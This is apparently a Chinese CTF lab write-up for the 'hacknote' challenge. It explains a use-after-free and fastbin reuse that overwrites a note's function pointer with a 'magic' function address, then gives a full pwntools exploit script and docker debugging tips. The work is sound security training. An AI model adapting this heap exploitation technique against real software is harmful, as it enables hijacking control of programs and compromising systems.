lab10

No PIE,说明可以直接用IDA中看到的地址,比如最后要执行的magic函数(// starts at 8048986

可以看到add_note使用了malloc,del_note只用了free但没有给指针赋值NULL,所以可以在free后使用。

结构体note有两个指针,一个指向打印note的函数(正常流程是print_note_content,一个指向note记录的 content。在print_note中会调用打印note的函数。

所以应该输入note content时用magic覆盖掉原来printnote指针指向的print_note_content,利用没有置空的printnoteprint_note中执行magic函数。

结构体notemalloc时会分配为fastbin,16字节大小的空间。如果要让magic的地址在写内容时覆盖到之前free过的note里,就要申请和note一样大小的note->content空间(sizeof + gcc -m32可算,8字节,同时保证没有覆盖到之前note的内容空间里(就是说前面的note->content不能是16字节fastbin大小的。此外,要申请note->content首先要申请note,所以之前得free掉两个content段不为16字节的note,访问时用第一个note->printnote调用magic(fastbin 的链表是后来的插入到头里

脚本(需要先写好/home/hacknote/flag

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.terminal = ['tmux', 'splitw', '-h' ]
io = process('./hacknote')

magic_addr = 0x08048986

# gdb.attach(io)

# add_note * 2
for _ in range(2):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(50))
    io.recvuntil(":")
    io.sendline("xxx")

# del_note * 2
for i in range(2):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(i))

# gdb.attach(io)

# add_note magic_addr
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(8))
io.recvuntil(":")
io.sendline(p32(magic_addr))

# print_note
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(0))

io.interactive()

另外docker里要调试,得在run时加上--cap-add=SYS_PTRACE,进入tmux,再在脚本里加上context.terminal = ['tmux', 'splitw', '-h' ]才行,不过都装好后在哪里的机器都能用是很方便的。